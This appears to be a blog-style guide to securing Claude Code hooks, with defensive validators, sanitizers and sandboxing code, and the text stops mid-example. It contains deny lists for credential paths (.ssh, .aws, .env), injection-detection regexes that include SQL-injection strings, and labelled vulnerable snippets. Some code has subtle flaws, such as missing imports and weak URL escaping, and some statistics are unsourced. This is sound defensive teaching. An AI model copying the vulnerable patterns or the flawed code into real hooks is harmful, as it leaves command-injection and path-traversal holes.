Claude Code Research

Comprehensive Security Guide for Claude Code Hooks

31 min read

Comprehensive Security Guide for Claude Code Hooks

This guide provides an in-depth exploration of security best practices for developing Claude Code hooks, based on the latest industry standards, OWASP guidelines, and lessons learned from real-world security incidents in 2024.

Table of Contents

  1. Understanding the Security Landscape
  2. Input Validation Techniques
  3. Output Sanitization Methods
  4. Implementing Least Privilege
  5. Secure Error Handling
  6. External API Security
  7. Common Hook Vulnerabilities
  8. Real-World Examples and Code Snippets
  9. Security Testing and Validation
  10. Emergency Response Procedures

Understanding the Security Landscape

The Current Threat Environment (2024)

Claude Code hooks operate in an increasingly complex security landscape where AI-powered automation tools are prime targets for attackers. Recent research shows that:

  • 75% of businesses have adopted GenAI tools in their workflows (Statista, July 2024)
  • Prompt injection is identified as the #1 vulnerability in OWASP’s Top 10 for LLM Applications
  • 87% success rate for AI-powered exploitation when attackers have CVE descriptions (2024 study)
  • 536 broken links in documentation can create security blind spots where users implement insecure patterns

Hook-Specific Security Challenges

Claude Code hooks present unique security challenges:

  1. Arbitrary Command Execution: Hooks execute shell commands with user privileges
  2. Dynamic Input Processing: Variables from Claude’s context can contain untrusted data
  3. Chain of Trust: Multiple hooks executing sequentially can compound vulnerabilities
  4. Context Persistence: Data can persist between hook executions

Input Validation Techniques

1. Comprehensive Input Validation Framework

#!/usr/bin/env python3
import json
import sys
import re
import os
from pathlib import Path
from typing import Tuple, List, Optional
 
class HookInputValidator:
    """Comprehensive input validation for Claude Code hooks"""
    
    def __init__(self):
        # Define validation rules
        self.ALLOWED_TOOLS = ['Edit', 'Write', 'Read', 'MultiEdit']
        self.ALLOWED_EXTENSIONS = ['.py', '.js', '.ts', '.jsx', '.tsx', '.json', '.md', '.yml', '.yaml']
        self.FORBIDDEN_PATTERNS = [
            r'\.\./',  # Path traversal
            r'\.env',  # Environment files
            r'\.git/',  # Git internals
            r'\.ssh/',  # SSH keys
            r'\.aws/',  # AWS credentials
            r'node_modules/',  # Dependencies
            r'__pycache__/',  # Python cache
        ]
        
        # Define safe path boundaries
        self.PROJECT_ROOT = Path.cwd().resolve()
        self.ALLOWED_PATHS = [
            self.PROJECT_ROOT / 'src',
            self.PROJECT_ROOT / 'tests',
            self.PROJECT_ROOT / 'docs',
        ]
    
    def validate_tool_name(self, tool_name: str) -> Tuple[bool, str]:
        """Validate tool name against whitelist"""
        if not tool_name:
            return False, "Tool name is required"
        
        if tool_name not in self.ALLOWED_TOOLS:
            return False, f"Tool '{tool_name}' is not allowed. Allowed tools: {', '.join(self.ALLOWED_TOOLS)}"
        
        return True, "Valid tool"
    
    def validate_file_path(self, file_path: str) -> Tuple[bool, str]:
        """Comprehensive file path validation"""
        if not file_path:
            return False, "File path is required"
        
        try:
            # Resolve to absolute path
            abs_path = Path(file_path).resolve()
            
            # Check if path is within project boundaries
            if not any(abs_path.is_relative_to(allowed) for allowed in self.ALLOWED_PATHS):
                return False, f"Path '{file_path}' is outside allowed directories"
            
            # Check forbidden patterns
            for pattern in self.FORBIDDEN_PATTERNS:
                if re.search(pattern, str(abs_path)):
                    return False, f"Path matches forbidden pattern: {pattern}"
            
            # Check file extension
            if abs_path.suffix not in self.ALLOWED_EXTENSIONS:
                return False, f"File type '{abs_path.suffix}' is not allowed"
            
            # Additional security checks
            if abs_path.is_symlink():
                return False, "Symbolic links are not allowed"
            
            return True, "Valid path"
            
        except Exception as e:
            return False, f"Path validation error: {str(e)}"
    
    def validate_content(self, content: str) -> Tuple[bool, str]:
        """Validate file content for dangerous patterns"""
        dangerous_patterns = [
            (r'<script[\s\S]*?>[\s\S]*?<\/script>', 'Script tags detected'),
            (r'javascript:', 'JavaScript protocol detected'),
            (r'data:text/html', 'Data URL detected'),
            (r'eval\s*\(', 'Eval function detected'),
            (r'exec\s*\(', 'Exec function detected'),
            (r'__import__', 'Dynamic import detected'),
            (r'subprocess\.(call|run|Popen)', 'Subprocess execution detected'),
            (r'os\.system', 'System command execution detected'),
        ]
        
        for pattern, message in dangerous_patterns:
            if re.search(pattern, content, re.IGNORECASE):
                return False, message
        
        return True, "Content validated"
    
    def validate_json_structure(self, data: dict) -> Tuple[bool, str]:
        """Validate JSON structure and data types"""
        required_fields = ['tool_name', 'tool_input']
        
        for field in required_fields:
            if field not in data:
                return False, f"Missing required field: {field}"
        
        # Validate nested structure
        tool_input = data.get('tool_input', {})
        if not isinstance(tool_input, dict):
            return False, "tool_input must be a dictionary"
        
        return True, "Valid JSON structure"
 
def main():
    """Main validation entry point for hooks"""
    try:
        # Read input from stdin
        data = json.load(sys.stdin)
        
        # Initialize validator
        validator = HookInputValidator()
        
        # Perform comprehensive validation
        validations = [
            validator.validate_json_structure(data),
            validator.validate_tool_name(data.get('tool_name', '')),
        ]
        
        # Validate file paths if present
        file_path = data.get('tool_input', {}).get('file_path', '')
        if file_path:
            validations.append(validator.validate_file_path(file_path))
        
        # Validate content if present
        content = data.get('tool_input', {}).get('content', '')
        if content:
            validations.append(validator.validate_content(content))
        
        # Check all validations
        for valid, message in validations:
            if not valid:
                print(json.dumps({
                    'continue': False,
                    'stopReason': f'Security validation failed: {message}'
                }))
                return 2
        
        # All validations passed
        return 0
        
    except Exception as e:
        print(json.dumps({
            'continue': False,
            'stopReason': f'Validation error: {str(e)}'
        }))
        return 2
 
if __name__ == '__main__':
    sys.exit(main())

2. Shell Command Injection Prevention

#!/bin/bash
# Secure shell hook with injection prevention
 
# Enable strict mode
set -euo pipefail
IFS=$'\n\t'
 
# Function to safely quote arguments
safe_quote() {
    printf '%q' "$1"
}
 
# Function to validate and sanitize file paths
validate_path() {
    local path="$1"
    local safe_path
    
    # Remove any command substitution attempts
    safe_path="${path//\$(/}"
    safe_path="${safe_path//\`/}"
    safe_path="${safe_path//;/}"
    safe_path="${safe_path//|/}"
    safe_path="${safe_path//&/}"
    safe_path="${safe_path//>/}"
    safe_path="${safe_path//</}"
    
    # Ensure path is within project
    if [[ ! "$safe_path" =~ ^/home/user/project/ ]]; then
        echo "Error: Path outside project boundary" >&2
        exit 2
    fi
    
    echo "$safe_path"
}
 
# Main hook logic
if [ -n "${CLAUDE_FILE_PATHS:-}" ]; then
    # Split paths safely
    IFS=':' read -ra PATHS <<< "$CLAUDE_FILE_PATHS"
    
    for path in "${PATHS[@]}"; do
        # Validate each path
        safe_path=$(validate_path "$path")
        
        # Use the path safely (example: run prettier)
        # Notice: no eval, no unquoted variables
        if [ -f "$safe_path" ]; then
            prettier --write "$(safe_quote "$safe_path")"
        fi
    done
fi

3. Advanced Pattern Matching

#!/usr/bin/env python3
import re
from typing import List, Dict, Any
 
class SecurityPatternMatcher:
    """Advanced pattern matching for security validation"""
    
    def __init__(self):
        # Compile patterns for performance
        self.compiled_patterns = {
            'sql_injection': re.compile(
                r"(\b(SELECT|INSERT|UPDATE|DELETE|DROP|UNION|CREATE|ALTER)\b.*\b(FROM|INTO|WHERE|SET)\b)|"
                r"(--)|(/\*.*\*/)|(\' OR \'1\'=\'1)|(\" OR \"1\"=\"1)|(\' OR 1=1)",
                re.IGNORECASE
            ),
            'command_injection': re.compile(
                r"([;&|])|(\$\()|(`)|(\${)|(<\()|(\|\|)|(&&)|"
                r"(>\s*/dev/null)|(2>&1)",
                re.MULTILINE
            ),
            'path_traversal': re.compile(
                r"(\.\./)|(\.\.\\)|(%2e%2e)|(%252e%252e)|"
                r"(\.\.%c0%af)|(\.\.%c1%9c)",
                re.IGNORECASE
            ),
            'xxe_injection': re.compile(
                r"(<!DOCTYPE[^>]*\[)|"
                r"(<!ENTITY)|"
                r"(SYSTEM\s+[\"']file:)",
                re.IGNORECASE | re.MULTILINE
            ),
            'ldap_injection': re.compile(
                r"[*()\\&|=]|"
                r"(\)(\s*)\()|"
                r"(\)(\s*)\|)",
                re.MULTILINE
            )
        }
    
    def check_patterns(self, input_string: str) -> List[Dict[str, Any]]:
        """Check input against all security patterns"""
        violations = []
        
        for pattern_name, pattern in self.compiled_patterns.items():
            matches = pattern.finditer(input_string)
            for match in matches:
                violations.append({
                    'type': pattern_name,
                    'matched': match.group(),
                    'position': match.span(),
                    'severity': self._get_severity(pattern_name)
                })
        
        return violations
    
    def _get_severity(self, pattern_type: str) -> str:
        """Determine severity level for pattern type"""
        severity_map = {
            'sql_injection': 'critical',
            'command_injection': 'critical',
            'path_traversal': 'high',
            'xxe_injection': 'high',
            'ldap_injection': 'medium'
        }
        return severity_map.get(pattern_type, 'low')

Output Sanitization Methods

1. Context-Aware Output Sanitization

#!/usr/bin/env python3
import html
import json
import re
from urllib.parse import quote
from typing import Any, Dict
 
class OutputSanitizer:
    """Context-aware output sanitization for different contexts"""
    
    @staticmethod
    def sanitize_html(content: str) -> str:
        """Sanitize content for HTML context"""
        # Basic HTML entity encoding
        sanitized = html.escape(content, quote=True)
        
        # Additional protection against specific attacks
        # Remove any remaining script tags (belt and suspenders)
        sanitized = re.sub(r'<script[^>]*>.*?</script>', '', sanitized, flags=re.IGNORECASE | re.DOTALL)
        
        # Remove javascript: protocol
        sanitized = re.sub(r'javascript:', '', sanitized, flags=re.IGNORECASE)
        
        # Remove data: URLs that could contain scripts
        sanitized = re.sub(r'data:text/html[^,]*,', '', sanitized, flags=re.IGNORECASE)
        
        return sanitized
    
    @staticmethod
    def sanitize_json(data: Any) -> str:
        """Sanitize data for JSON output"""
        # Use json.dumps with proper escaping
        return json.dumps(data, ensure_ascii=True, cls=SecureJSONEncoder)
    
    @staticmethod
    def sanitize_shell(command: str) -> str:
        """Sanitize content for shell context"""
        # Remove all shell metacharacters
        dangerous_chars = ';|&$`\\\'\"<>(){}[]!#~*?'
        for char in dangerous_chars:
            command = command.replace(char, '')
        
        # Additional validation
        if re.search(r'\n|\r', command):
            raise ValueError("Newlines not allowed in shell commands")
        
        return command
    
    @staticmethod
    def sanitize_url(url: str) -> str:
        """Sanitize URL parameters"""
        # URL encode all special characters
        return quote(url, safe=':/?#[]@!$&\'()*+,;=')
    
    @staticmethod
    def sanitize_log(message: str) -> str:
        """Sanitize content for log output"""
        # Remove CRLF to prevent log injection
        sanitized = message.replace('\r', '').replace('\n', ' ')
        
        # Limit length to prevent log flooding
        max_length = 1000
        if len(sanitized) > max_length:
            sanitized = sanitized[:max_length] + '... (truncated)'
        
        return sanitized
 
class SecureJSONEncoder(json.JSONEncoder):
    """Custom JSON encoder with additional security measures"""
    
    def encode(self, o):
        # Ensure all strings are properly escaped
        if isinstance(o, str):
            # Additional escaping for common XSS vectors
            o = o.replace('<', '\\u003c')
            o = o.replace('>', '\\u003e')
            o = o.replace('&', '\\u0026')
        return super().encode(o)
 
# Example usage in a hook
def process_output(data: Dict[str, Any], context: str) -> str:
    """Process and sanitize output based on context"""
    sanitizer = OutputSanitizer()
    
    if context == 'html':
        return sanitizer.sanitize_html(str(data))
    elif context == 'json':
        return sanitizer.sanitize_json(data)
    elif context == 'shell':
        return sanitizer.sanitize_shell(str(data))
    elif context == 'log':
        return sanitizer.sanitize_log(str(data))
    else:
        # Default to most restrictive sanitization
        return sanitizer.sanitize_html(str(data))

2. DOMPurify-Style Sanitization for Hooks

// TypeScript implementation for hook output sanitization
import * as cheerio from 'cheerio';
 
interface SanitizationConfig {
    allowedTags: string[];
    allowedAttributes: Record<string, string[]>;
    allowedProtocols: string[];
    stripIgnoreTag: boolean;
    stripIgnoreTagBody: string[];
}
 
class HookOutputSanitizer {
    private config: SanitizationConfig = {
        allowedTags: ['p', 'br', 'span', 'div', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 
                     'blockquote', 'code', 'pre', 'a', 'em', 'strong', 'ul', 'ol', 'li'],
        allowedAttributes: {
            'a': ['href', 'title'],
            'code': ['class'],
            'pre': ['class']
        },
        allowedProtocols: ['http', 'https', 'mailto'],
        stripIgnoreTag: true,
        stripIgnoreTagBody: ['script', 'style']
    };
    
    sanitize(dirty: string): string {
        const $ = cheerio.load(dirty);
        
        // Remove all script and style tags and their contents
        this.config.stripIgnoreTagBody.forEach(tag => {
            $(tag).remove();
        });
        
        // Process all elements
        $('*').each((_, elem) => {
            const $elem = $(elem);
            const tagName = elem.tagName.toLowerCase();
            
            // Remove disallowed tags
            if (!this.config.allowedTags.includes(tagName)) {
                if (this.config.stripIgnoreTag) {
                    $elem.replaceWith($elem.html() || '');
                } else {
                    $elem.remove();
                }
                return;
            }
            
            // Process attributes
            const attributes = elem.attribs;
            const allowedAttrs = this.config.allowedAttributes[tagName] || [];
            
            Object.keys(attributes).forEach(attr => {
                if (!allowedAttrs.includes(attr)) {
                    $elem.removeAttr(attr);
                } else if (attr === 'href' || attr === 'src') {
                    // Validate URL protocols
                    const value = attributes[attr];
                    if (!this.isValidUrl(value)) {
                        $elem.removeAttr(attr);
                    }
                }
            });
        });
        
        return $.html();
    }
    
    private isValidUrl(url: string): boolean {
        try {
            const parsed = new URL(url);
            const protocol = parsed.protocol.slice(0, -1); // Remove trailing colon
            return this.config.allowedProtocols.includes(protocol);
        } catch {
            // Relative URLs are allowed
            return !url.includes(':');
        }
    }
}

Implementing Least Privilege

1. Privilege Separation Architecture

#!/usr/bin/env python3
import os
import pwd
import subprocess
import tempfile
from pathlib import Path
from typing import List, Optional
 
class PrivilegeSeparation:
    """Implement least privilege principle for hook execution"""
    
    def __init__(self, hook_name: str):
        self.hook_name = hook_name
        self.restricted_user = 'claude-hook-runner'  # Dedicated low-privilege user
        self.chroot_base = Path('/var/lib/claude-hooks/chroot')
        
    def setup_restricted_environment(self) -> dict:
        """Create a restricted execution environment"""
        env = {
            # Minimal PATH
            'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
            # Remove potentially dangerous variables
            'LD_PRELOAD': '',
            'LD_LIBRARY_PATH': '',
            'PYTHONPATH': '',
            'PERL5LIB': '',
            'RUBYLIB': '',
            # Set secure defaults
            'IFS': ' \t\n',
            'TMPDIR': tempfile.mkdtemp(prefix='claude-hook-'),
        }
        
        # Only pass through specific Claude variables
        claude_vars = ['CLAUDE_TOOL_NAME', 'CLAUDE_FILE_PATHS', 'CLAUDE_SESSION_ID']
        for var in claude_vars:
            if var in os.environ:
                env[var] = os.environ[var]
        
        return env
    
    def create_sandbox(self) -> Path:
        """Create a sandboxed filesystem for hook execution"""
        sandbox_dir = self.chroot_base / self.hook_name / os.urandom(8).hex()
        sandbox_dir.mkdir(parents=True, mode=0o755)
        
        # Create minimal filesystem structure
        for dir_name in ['bin', 'lib', 'lib64', 'usr', 'tmp', 'dev']:
            (sandbox_dir / dir_name).mkdir(mode=0o755)
        
        # Copy only necessary binaries
        allowed_binaries = ['/bin/sh', '/bin/bash', '/usr/bin/env']
        for binary in allowed_binaries:
            if Path(binary).exists():
                self._copy_with_deps(binary, sandbox_dir)
        
        return sandbox_dir
    
    def execute_with_privileges(self, command: List[str], 
                              timeout: int = 30) -> subprocess.CompletedProcess:
        """Execute command with restricted privileges"""
        
        # Drop privileges if running as root
        if os.geteuid() == 0:
            pw_record = pwd.getpwnam(self.restricted_user)
            
            def demote():
                os.setgid(pw_record.pw_gid)
                os.setuid(pw_record.pw_uid)
            
            preexec_fn = demote
        else:
            preexec_fn = None
        
        # Set up restricted environment
        env = self.setup_restricted_environment()
        
        # Execute with restrictions
        try:
            result = subprocess.run(
                command,
                env=env,
                preexec_fn=preexec_fn,
                timeout=timeout,
                capture_output=True,
                text=True,
                # Prevent shell injection
                shell=False,
                # Limit resources
                start_new_session=True
            )
            return result
        except subprocess.TimeoutExpired:
            raise TimeoutError(f"Hook execution timed out after {timeout} seconds")
        finally:
            # Cleanup temporary directory
            if 'TMPDIR' in env and Path(env['TMPDIR']).exists():
                import shutil
                shutil.rmtree(env['TMPDIR'], ignore_errors=True)
    
    def _copy_with_deps(self, binary: str, sandbox: Path):
        """Copy binary and its dependencies to sandbox"""
        # This is a simplified version - in production, use ldd or similar
        import shutil
        dest = sandbox / binary.lstrip('/')
        dest.parent.mkdir(parents=True, exist_ok=True)
        shutil.copy2(binary, dest)
        dest.chmod(0o755)
 
# Example usage
def run_hook_safely(hook_script: str, args: List[str]) -> int:
    """Run a hook with least privilege"""
    separator = PrivilegeSeparation(hook_script)
    
    try:
        result = separator.execute_with_privileges(
            [hook_script] + args,
            timeout=60
        )
        
        if result.returncode != 0:
            print(f"Hook failed with exit code {result.returncode}")
            print(f"Error output: {result.stderr}")
        
        return result.returncode
    except Exception as e:
        print(f"Hook execution failed: {e}")
        return 1

2. Capability-Based Security

#!/bin/bash
# Hook wrapper with Linux capabilities support
 
# Check if we have CAP_SETUID capability (should not!)
if capsh --print | grep -q "Current.*cap_setuid"; then
    echo "ERROR: Hook should not have CAP_SETUID capability" >&2
    exit 2
fi
 
# Drop all capabilities except what's needed
capsh --drop=all --caps="cap_dac_read_search+eip" -- -c "$@"

3. Resource Limitation

#!/usr/bin/env python3
import resource
import signal
import sys
 
class ResourceLimiter:
    """Enforce resource limits on hook execution"""
    
    def __init__(self):
        self.limits = {
            # CPU time limit (seconds)
            resource.RLIMIT_CPU: (30, 30),
            # Memory limit (bytes) - 100MB
            resource.RLIMIT_AS: (100 * 1024 * 1024, 100 * 1024 * 1024),
            # Number of open files
            resource.RLIMIT_NOFILE: (50, 50),
            # Number of processes
            resource.RLIMIT_NPROC: (10, 10),
            # File size limit (bytes) - 10MB
            resource.RLIMIT_FSIZE: (10 * 1024 * 1024, 10 * 1024 * 1024),
        }
    
    def apply_limits(self):
        """Apply all resource limits"""
        for limit_type, (soft, hard) in self.limits.items():
            try:
                resource.setrlimit(limit_type, (soft, hard))
            except ValueError:
                # Some limits may not be available on all systems
                pass
    
    def set_timeout(self, seconds: int):
        """Set execution timeout"""
        def timeout_handler(signum, frame):
            sys.stderr.write("Hook execution timed out\n")
            sys.exit(2)
        
        signal.signal(signal.SIGALRM, timeout_handler)
        signal.alarm(seconds)
 
# Apply limits at hook startup
if __name__ == '__main__':
    limiter = ResourceLimiter()
    limiter.apply_limits()
    limiter.set_timeout(60)
    
    # Continue with hook execution
    # ... your hook code here ...

Secure Error Handling

1. Error Handling Without Information Leakage

#!/usr/bin/env python3
import json
import logging
import sys
import traceback
from datetime import datetime
from typing import Any, Dict
 
class SecureErrorHandler:
    """Handle errors without leaking sensitive information"""
    
    def __init__(self, log_file: str = '/var/log/claude-hooks/errors.log'):
        # Set up secure logging
        self.logger = logging.getLogger('claude-hook-security')
        handler = logging.FileHandler(log_file, mode='a')
        handler.setFormatter(
            logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
        )
        self.logger.addHandler(handler)
        self.logger.setLevel(logging.INFO)
        
        # Error codes for different scenarios
        self.error_codes = {
            'validation_failed': 'E001',
            'permission_denied': 'E002',
            'resource_limit': 'E003',
            'timeout': 'E004',
            'internal_error': 'E999'
        }
    
    def handle_error(self, error: Exception, context: Dict[str, Any]) -> Dict[str, Any]:
        """Handle error securely without exposing internals"""
        
        # Generate unique error ID
        error_id = f"{datetime.utcnow().strftime('%Y%m%d%H%M%S')}-{id(error)}"
        
        # Log full error details internally
        self.logger.error(f"Error ID: {error_id}", extra={
            'error_type': type(error).__name__,
            'error_message': str(error),
            'traceback': traceback.format_exc(),
            'context': self._sanitize_context(context)
        })
        
        # Determine error category
        error_code = self._categorize_error(error)
        
        # Return sanitized error response
        return {
            'error': True,
            'error_code': error_code,
            'error_id': error_id,
            'message': self._get_user_message(error_code),
            'timestamp': datetime.utcnow().isoformat()
        }
    
    def _categorize_error(self, error: Exception) -> str:
        """Categorize error without exposing details"""
        error_type = type(error).__name__
        
        if error_type in ['PermissionError', 'AccessDenied']:
            return self.error_codes['permission_denied']
        elif error_type in ['TimeoutError', 'Timeout']:
            return self.error_codes['timeout']
        elif error_type in ['MemoryError', 'ResourceExhausted']:
            return self.error_codes['resource_limit']
        elif error_type in ['ValidationError', 'ValueError']:
            return self.error_codes['validation_failed']
        else:
            return self.error_codes['internal_error']
    
    def _get_user_message(self, error_code: str) -> str:
        """Get user-friendly error message"""
        messages = {
            'E001': 'Input validation failed. Please check your request.',
            'E002': 'Permission denied for this operation.',
            'E003': 'Resource limit exceeded.',
            'E004': 'Operation timed out.',
            'E999': 'An internal error occurred. Please contact support with the error ID.'
        }
        return messages.get(error_code, 'An unknown error occurred.')
    
    def _sanitize_context(self, context: Dict[str, Any]) -> Dict[str, Any]:
        """Remove sensitive information from context before logging"""
        sensitive_keys = ['password', 'token', 'secret', 'key', 'auth', 'credential']
        sanitized = {}
        
        for key, value in context.items():
            if any(sensitive in key.lower() for sensitive in sensitive_keys):
                sanitized[key] = '***REDACTED***'
            elif isinstance(value, str) and len(value) > 1000:
                sanitized[key] = value[:100] + '... (truncated)'
            else:
                sanitized[key] = value
        
        return sanitized
 
# Example usage in a hook
def main():
    error_handler = SecureErrorHandler()
    
    try:
        # Read input
        data = json.load(sys.stdin)
        
        # Your hook logic here
        result = process_hook(data)
        
        print(json.dumps(result))
        return 0
        
    except Exception as e:
        # Handle error securely
        error_response = error_handler.handle_error(e, {
            'hook_name': 'example_hook',
            'input_size': len(str(data)) if 'data' in locals() else 0
        })
        
        print(json.dumps(error_response), file=sys.stderr)
        return 1
 
if __name__ == '__main__':
    sys.exit(main())

2. Secure Logging Practices

import hashlib
import hmac
from typing import Any
 
class SecureLogger:
    """Secure logging with PII protection"""
    
    def __init__(self, secret_key: bytes):
        self.secret_key = secret_key
        self.pii_patterns = {
            'email': re.compile(r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b'),
            'phone': re.compile(r'\b\d{3}[-.]?\d{3}[-.]?\d{4}\b'),
            'ssn': re.compile(r'\b\d{3}-\d{2}-\d{4}\b'),
            'credit_card': re.compile(r'\b\d{4}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b'),
        }
    
    def log_event(self, event_type: str, data: Dict[str, Any]):
        """Log event with PII masking"""
        sanitized_data = self._mask_pii(data)
        
        log_entry = {
            'timestamp': datetime.utcnow().isoformat(),
            'event_type': event_type,
            'data': sanitized_data,
            'hash': self._generate_hash(data)  # For correlation without storing PII
        }
        
        self.logger.info(json.dumps(log_entry))
    
    def _mask_pii(self, data: Any) -> Any:
        """Recursively mask PII in data structures"""
        if isinstance(data, str):
            masked = data
            for pattern_name, pattern in self.pii_patterns.items():
                masked = pattern.sub(f'[{pattern_name.upper()}_MASKED]', masked)
            return masked
        elif isinstance(data, dict):
            return {k: self._mask_pii(v) for k, v in data.items()}
        elif isinstance(data, list):
            return [self._mask_pii(item) for item in data]
        else:
            return data
    
    def _generate_hash(self, data: Any) -> str:
        """Generate HMAC hash for data correlation"""
        data_str = json.dumps(data, sort_keys=True)
        return hmac.new(
            self.secret_key,
            data_str.encode('utf-8'),
            hashlib.sha256
        ).hexdigest()

External API Security

1. Secure API Client Implementation

#!/usr/bin/env python3
import time
import hmac
import hashlib
import requests
from typing import Dict, Any, Optional
from urllib.parse import urlencode
import jwt
 
class SecureAPIClient:
    """Secure API client with authentication and CSRF protection"""
    
    def __init__(self, api_key: str, api_secret: str, base_url: str):
        self.api_key = api_key
        self.api_secret = api_secret.encode('utf-8')
        self.base_url = base_url
        self.session = requests.Session()
        
        # Security headers
        self.session.headers.update({
            'X-API-Key': self.api_key,
            'User-Agent': 'Claude-Hook-Client/1.0',
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        })
        
        # Rate limiting
        self.rate_limiter = RateLimiter(
            max_requests=100,
            time_window=60  # 100 requests per minute
        )
    
    def request(self, method: str, endpoint: str, 
                data: Optional[Dict[str, Any]] = None,
                timeout: int = 30) -> requests.Response:
        """Make secure API request with signing and CSRF protection"""
        
        # Rate limiting check
        if not self.rate_limiter.allow_request():
            raise Exception("Rate limit exceeded")
        
        # Prepare request
        url = f"{self.base_url}/{endpoint.lstrip('/')}"
        timestamp = str(int(time.time()))
        nonce = os.urandom(16).hex()
        
        # Create signature
        signature_data = f"{method}:{endpoint}:{timestamp}:{nonce}"
        if data:
            signature_data += f":{json.dumps(data, sort_keys=True)}"
        
        signature = hmac.new(
            self.api_secret,
            signature_data.encode('utf-8'),
            hashlib.sha256
        ).hexdigest()
        
        # Add security headers
        headers = {
            'X-Timestamp': timestamp,
            'X-Nonce': nonce,
            'X-Signature': signature,
            'X-CSRF-Token': self._get_csrf_token()
        }
        
        # Make request with timeout
        try:
            response = self.session.request(
                method=method,
                url=url,
                json=data,
                headers=headers,
                timeout=timeout,
                verify=True  # Always verify SSL certificates
            )
            
            # Validate response
            self._validate_response(response)
            
            return response
            
        except requests.exceptions.Timeout:
            raise TimeoutError(f"API request timed out after {timeout} seconds")
        except requests.exceptions.SSLError as e:
            raise Exception(f"SSL verification failed: {e}")
    
    def _get_csrf_token(self) -> str:
        """Generate CSRF token"""
        # In a real implementation, this would be obtained from the server
        data = f"{self.api_key}:{time.time()}"
        return hmac.new(
            self.api_secret,
            data.encode('utf-8'),
            hashlib.sha256
        ).hexdigest()
    
    def _validate_response(self, response: requests.Response):
        """Validate API response"""
        # Check for security headers
        required_headers = ['X-Content-Type-Options', 'X-Frame-Options']
        for header in required_headers:
            if header not in response.headers:
                raise Exception(f"Missing security header: {header}")
        
        # Validate content type
        content_type = response.headers.get('Content-Type', '')
        if 'application/json' not in content_type:
            raise Exception(f"Unexpected content type: {content_type}")
        
        # Check for error responses
        if response.status_code >= 400:
            raise Exception(f"API error: {response.status_code}")
 
class RateLimiter:
    """Token bucket rate limiter"""
    
    def __init__(self, max_requests: int, time_window: int):
        self.max_requests = max_requests
        self.time_window = time_window
        self.requests = []
    
    def allow_request(self) -> bool:
        """Check if request is allowed under rate limit"""
        now = time.time()
        
        # Remove old requests outside time window
        self.requests = [
            req_time for req_time in self.requests 
            if now - req_time < self.time_window
        ]
        
        # Check if under limit
        if len(self.requests) < self.max_requests:
            self.requests.append(now)
            return True
        
        return False

2. JWT Token Validation

def validate_jwt_token(token: str, public_key: str) -> Dict[str, Any]:
    """Securely validate JWT tokens"""
    try:
        # Decode and verify token
        payload = jwt.decode(
            token,
            public_key,
            algorithms=['RS256'],  # Only allow secure algorithms
            options={
                'verify_signature': True,
                'verify_exp': True,
                'verify_nbf': True,
                'verify_iat': True,
                'verify_aud': True,
                'require': ['exp', 'iat', 'sub']
            }
        )
        
        # Additional validation
        if 'sub' not in payload or not payload['sub']:
            raise jwt.InvalidTokenError("Missing subject")
        
        # Check token age
        iat = payload.get('iat', 0)
        if time.time() - iat > 3600:  # Max 1 hour old
            raise jwt.InvalidTokenError("Token too old")
        
        return payload
        
    except jwt.ExpiredSignatureError:
        raise Exception("Token has expired")
    except jwt.InvalidTokenError as e:
        raise Exception(f"Invalid token: {e}")

Common Hook Vulnerabilities

1. Command Injection Vulnerabilities

# VULNERABLE: Direct command execution
def vulnerable_hook(file_path):
    # DON'T DO THIS!
    os.system(f"prettier --write {file_path}")  # Command injection possible
    
# SECURE: Proper command execution
def secure_hook(file_path):
    # Validate input first
    if not validate_file_path(file_path):
        raise ValueError("Invalid file path")
    
    # Use subprocess with list arguments (no shell)
    result = subprocess.run(
        ['prettier', '--write', file_path],
        capture_output=True,
        text=True,
        timeout=30
    )
    
    if result.returncode != 0:
        raise Exception(f"Prettier failed: {result.stderr}")

2. Path Traversal Vulnerabilities

# VULNERABLE: No path validation
def vulnerable_read(file_path):
    # DON'T DO THIS!
    with open(file_path, 'r') as f:  # Could read /etc/passwd
        return f.read()
 
# SECURE: Path validation and sandboxing
def secure_read(file_path):
    # Resolve to absolute path
    abs_path = Path(file_path).resolve()
    
    # Ensure within project directory
    project_root = Path.cwd()
    try:
        abs_path.relative_to(project_root)
    except ValueError:
        raise PermissionError("Access denied: Path outside project")
    
    # Additional checks
    if abs_path.is_symlink():
        raise PermissionError("Symbolic links not allowed")
    
    # Safe to read
    with open(abs_path, 'r') as f:
        return f.read()

3. Race Condition Vulnerabilities

import fcntl
import tempfile
 
# VULNERABLE: TOCTOU race condition
def vulnerable_temp_file():
    # DON'T DO THIS!
    temp_path = f"/tmp/claude-hook-{os.getpid()}"
    if not os.path.exists(temp_path):  # Race condition here!
        with open(temp_path, 'w') as f:
            f.write("data")
 
# SECURE: Atomic operations
def secure_temp_file():
    # Use secure temporary file creation
    with tempfile.NamedTemporaryFile(
        mode='w',
        prefix='claude-hook-',
        delete=False
    ) as tmp:
        tmp.write("data")
        temp_path = tmp.name
    
    # Set secure permissions
    os.chmod(temp_path, 0o600)
    
    # Use file locking for additional safety
    with open(temp_path, 'r+') as f:
        fcntl.flock(f.fileno(), fcntl.LOCK_EX)
        try:
            # Work with file
            data = f.read()
        finally:
            fcntl.flock(f.fileno(), fcntl.LOCK_UN)
    
    # Clean up
    os.unlink(temp_path)

4. Information Disclosure

# VULNERABLE: Exposes system information
def vulnerable_error_handler(error):
    # DON'T DO THIS!
    return {
        'error': str(error),
        'traceback': traceback.format_exc(),  # Exposes internals
        'system': platform.uname()._asdict(),  # System information
        'environment': dict(os.environ)  # All environment variables!
    }
 
# SECURE: Minimal error information
def secure_error_handler(error):
    error_id = generate_error_id()
    
    # Log detailed error internally
    logger.error(f"Error {error_id}: {error}", exc_info=True)
    
    # Return minimal information to user
    return {
        'error': True,
        'error_id': error_id,
        'message': 'An error occurred. Please contact support with the error ID.'
    }

Real-World Examples and Code Snippets

1. Complete Secure Hook Example

#!/usr/bin/env python3
"""
Secure Claude Code Hook Example
Demonstrates all security best practices
"""
 
import json
import sys
import os
import subprocess
import tempfile
import hashlib
from pathlib import Path
from typing import Dict, Any, Tuple
 
# Configuration
ALLOWED_TOOLS = ['Edit', 'Write', 'Read']
ALLOWED_EXTENSIONS = ['.py', '.js', '.ts', '.json', '.md']
MAX_FILE_SIZE = 10 * 1024 * 1024  # 10MB
 
class SecureHook:
    def __init__(self):
